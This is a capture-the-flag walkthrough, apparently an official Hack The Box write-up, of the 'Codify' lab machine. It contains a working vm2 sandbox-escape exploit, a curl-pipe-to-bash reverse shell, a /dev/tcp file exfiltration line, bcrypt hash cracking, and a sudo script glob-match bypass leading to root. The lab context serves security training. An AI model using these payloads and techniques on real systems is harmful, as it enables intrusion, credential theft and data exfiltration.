0% found this document useful (0 votes)
13 views16 pages

Codify

Codify is an easy Linux machine that allows users to test Node.js code through a vulnerable web application. By exploiting the vm2 library vulnerability, users can gain remote code execution, access a SQLite database to crack user credentials, and escalate privileges to root through a misconfigured Bash script. The document details the enumeration, exploitation, and privilege escalation steps taken to achieve full access to the machine.

Uploaded by

yaxaha3840
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
13 views16 pages

Codify

Codify is an easy Linux machine that allows users to test Node.js code through a vulnerable web application. By exploiting the vm2 library vulnerability, users can gain remote code execution, access a SQLite database to crack user credentials, and escalate privileges to root through a misconfigured Bash script. The document details the enumeration, exploitation, and privilege escalation steps taken to achieve full access to the machine.

Uploaded by

yaxaha3840
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 16

Codify

15th January 2024 / Document No D24.100.263

Prepared By: k1ph4ru

Machine Author: kavigihan

Difficulty: Easy

Classification: Official

Synopsis
Codify is an easy Linux machine that features a web application that allows users to test Node.js code. The
application uses a vulnerable vm2 library, which is leveraged to gain remote code execution. Enumerating
the target reveals a SQLite database containing a hash which, once cracked, yields SSH access to the box.
Finally, a vulnerable Bash script can be run with elevated privileges to reveal the root user's password,
leading to privileged access to the machine.

Skills Required
Linux enumeration
Web Enumeration

CVE Research

Skills Learned
Node.js library exploitation
Bash code review

Enumeration
Enumeration
Nmap
ports=$(nmap -Pn -p- --min-rate=1000 -T4 10.10.11.239 | grep '^[0-9]' | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -Pn -sC -sV 10.10.11.239

An initial Nmap scan reveals three open TCP ports. On port 22, an SSH server is running; on port 80, an
Apache web server, and on port 3000, a Node.js Express application is running. Since we don't have valid
SSH credentials, we begin our enumeration by visiting port 80 .

HTTP
Browsing to port 80 , we are redirected to codify.htb , which we add to our /etc/hosts file so we can
resolve the domain and access the website.

echo '10.10.11.239 codify.htb' | sudo tee -a /etc/hosts

Now, we can visit codify.htb .


Here, we see a web application that provides a utility to test Node.js code easily. Upon clicking on the Try
it Now button, we land on a page where we can edit and run Node.js code.

Looking at the About Us page, we see a mention of the vm2 library. This is a Node.js library designed for
creating isolated JavaScript environments, commonly known as sandboxes , which allows developers to
execute untrusted code securely.
Also, looking at the limitations page, we see that some of the modules have been restricted from being
imported, as a security precaution.

Foothold
A quick Google search for vulnerabilities that affect the vm2 library leads us to CVE-2023-30547. The
vulnerability in question affects versions up to 3.9.16 . It involves the improper sanitisation of exceptions
within the vm2 sandbox, a feature intended to safely execute untrusted code. Attackers can exploit this flaw
by raising a host exception that isn't properly sanitised in the handleException() function. By doing so,
they can escape the sandbox environment and execute arbitrary code within the host context.
We also come across this Proof-of-concept.

const {VM} = require("vm2");


const vm = new VM();

const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};

const proxiedErr = new Proxy(err, handler);


try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('id');
}
`

console.log(vm.run(code));

If we run the above JavaScript code on the Editor page, we see that it executes successfully and displays
the uid (User Identifier) of the svc user. We can now leverage this and to get a reverse shell.

We start off by creating a bash script locally that will initiate a callback to our machine.

echo -e '#!/bin/bash\nsh -i >& /dev/tcp/<YOUR_IP>/4444 0>&1' > rev.sh


Then, we start a Python server to host the script.

python3 -m http.server 8081

Finally, we start a Netcat listener, which we will use to catch the reverse shell once our script has been
executed.

nc -lnvp 4444

We run an updated version of the PoC, which uses curl to fetch our script from our Python web server and
pipes it through bash.

const {VM} = require("vm2");


const vm = new VM();

const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};

const proxiedErr = new Proxy(err, handler);


try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('curl
http://10.10.14.99:8081/rev.sh|bash');
}
`

console.log(vm.run(code));

We see that the script is successfully executed, our bash script is downloaded, and we get a connection back
to our Netcat listener as the user svc .

To get a more stable shell, we can run the script command to create a new PTY.

script /dev/null -c bash


In the home folder of the svc user, there is no user.txt file, meaning that we probably need to pivot to
another user. To enumerate other existing users on the server, we view the contents of the /etc/passwd
file, which is a system file used in Unix and Unix-like operating systems, including Linux. It serves as a user
database that stores essential information about user accounts on the system, and we find another user
called joshua .

cat /etc/passwd

Lateral Movement
Searching through the web directories, we discover a SQLite database file in the /var/www/contacts
directory.

cd /var/www/contacts
file tickets.db
We will transfer the database to our local machine to view its contents. For this, we will be using Netcat .

On our local machine, we start a Netcat listener on port 2222 and write its output to tickets.db .

nc -lnvp 2222 > tickets.db

On the box, we use cat to read the file and "write" its contents to /dev/tcp/<your_ip>/2222 . This is not
exactly a file but rather a means to instruct the kernel to create a TCP connection to the specified IP and
port and then write to it. It is a neat trick one can use if wget or curl are not available on a given server to
upload or exfiltrate files.

cat tickets.db > /dev/tcp/10.10.14.99/2222

We now have the file on our local machine.


We proceed to interact with the database using sqlite3.

sqlite3 tickets.db

We use the .tables command to list all the tables in the database.

Here, we see the users table, which seems interesting as it may contain credentials. We can use the
select statement to dump its contents.

select * from users;

From the output, we see the hash for the user Joshua . Armed with this hash, we can now attempt to crack
it using Hashcat . The $2a$ at the start of the hash means that we are dealing with a bcrypt hash, which we
can crack using -m 3200 .

hashcat --force -m 3200 hash.txt /usr/share/wordlists/rockyou.txt


The hash for joshua cracks, and the password is revealed to be spongebob1 . We are now able to SSH into
the box and read the user flag.
The user flag can be found at /home/joshua/user.txt .

Privilege Escalation
Checking the sudo entries for the user joshua , we can see that we can execute the /opt/scripts/mysql-
backup.sh script as root .

sudo -l

The script (as attached below) does a couple of things. It:

1. Sets up variables for the database user ( DB_USER ), retrieves the database password from a file
( DB_PASS ), and specifies the backup directory ( BACKUP_DIR ).
2. Prompts the user to enter the MySQL password for the specified database user and compares the
entered password ( USER_PASS ) with the one retrieved from the file ( DB_PASS ) and exits if they do not
match.

3. Creates the backup directory if it doesn't exist. Retrieves a list of databases from the MySQL server,
excluding system databases (information_schema, performance_schema), using the provided user
credentials. Iterates through the list of databases and dumps them using mysqldump , afterwards
compressing the output and saving it as a gzip file in the backup directory.

4. Changes the permissions of the backup directory to be owned by root:sys-adm and sets the
permissions to 774 recursively. Prints a message indicating that the backup process is complete.

#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS


/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then


/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW


DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" |
/usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"


/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

In the above script, we notice two flaws. One is in the way it compares the user-provided password and the
real password. Since the right-side comparison variable is not quoted, this will allow us to do pattern-
matching. This is due to the use of == inside [[ ]] in Bash , which performs pattern matching rather than
a direct string comparison; more on this can be found here. As an illustration, suppose the actual password
( DB_PASS ) is Passw0rd , and the user inputs * as their password ( USER_PASS ). In this case, the pattern
match will be evaluated as true because * matches any string.
The second flaw is in the way the password is passed to mysqldump . This is not the password that the user
provided, but rather the one taken from the credential file in /root/.creds . This means that if we bypass
the password check through the aforementioned pattern matching bypass, then we will not only be able to
run the rest of the script normally, but also view the real password by using a process snooping tool such as
pspy. As such, to be able to view the real password, we will need two SSH sessions: one to run pspy and
the other one to run the script.

We download the binary to our local machine.

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s

Then, once we download the binary, we proceed to start a Python server in the same directory.

python3 -m http.server 8082

With the server running, we can now use wget to download it onto the box.

wget http://10.10.14.99:8082/pspy64s

We change the permissions of the file to make it executable and then proceed to run it.
chmod +x pspy64s
./pspy64s

Now, if we go back to our other SSH session and run the script, providing * as the password, we will see
the mysqldump command being triggered in the pspy output.

Here, in the pspy shell, we are now able to view the real password for the root MySQL user, which is
kljh12k3jhaskjh12kjh3 .
We try to use this password to authenticate as the root user.

su root

Our attempt is successful and we are now root . The final flag can be found at /root/root.txt .

You might also like